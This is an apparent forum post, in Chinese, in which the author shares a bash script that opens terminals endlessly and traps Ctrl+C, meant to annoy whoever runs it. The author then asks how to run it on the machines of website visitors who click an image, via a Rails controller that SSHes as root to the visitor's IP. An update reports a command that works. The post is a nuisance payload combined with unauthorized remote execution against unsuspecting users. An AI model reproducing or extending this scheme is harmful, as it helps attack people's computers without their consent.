我有这个 bash 脚本,它反复打开一个终端而无法关闭它们并一个接一个地保留。目标是惹恼任何碰巧执行此程序的人。这是它的源代码:
#!/bin/bash
while true
do
gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
clear
sleep 1
trap '' 2
exit
done
我已经对此进行了测试,它确实按照我想要的方式工作。我想要做的是在远程主机上执行这个脚本。在 ruby on rails 网站上,我设置了一个图像以尝试通过单击它来运行此脚本。当有人这样做时,他们将运行一个名为 call_script2 的控制器函数,这就是我目前所拥有的:
def call_script2
remote_ip = request.ip
#system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
render 'script/index'
end
我想要完成的是当他们单击某个图像时在远程主机上运行 bash 脚本的内容。如您所见,我尝试将主机的脚本上传到根目录下,然后尝试运行 bash 程序,但没有成功。如果这做不到,我完全可以使用 SSH 以外的东西。
请随时分享您对此的想法,并感谢您花时间阅读我的帖子。祝你有美好的一天!
更新:我能够通过使用以下方法来实现这个目标:
system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")
感谢所有对这篇文章发表评论以帮助我的人!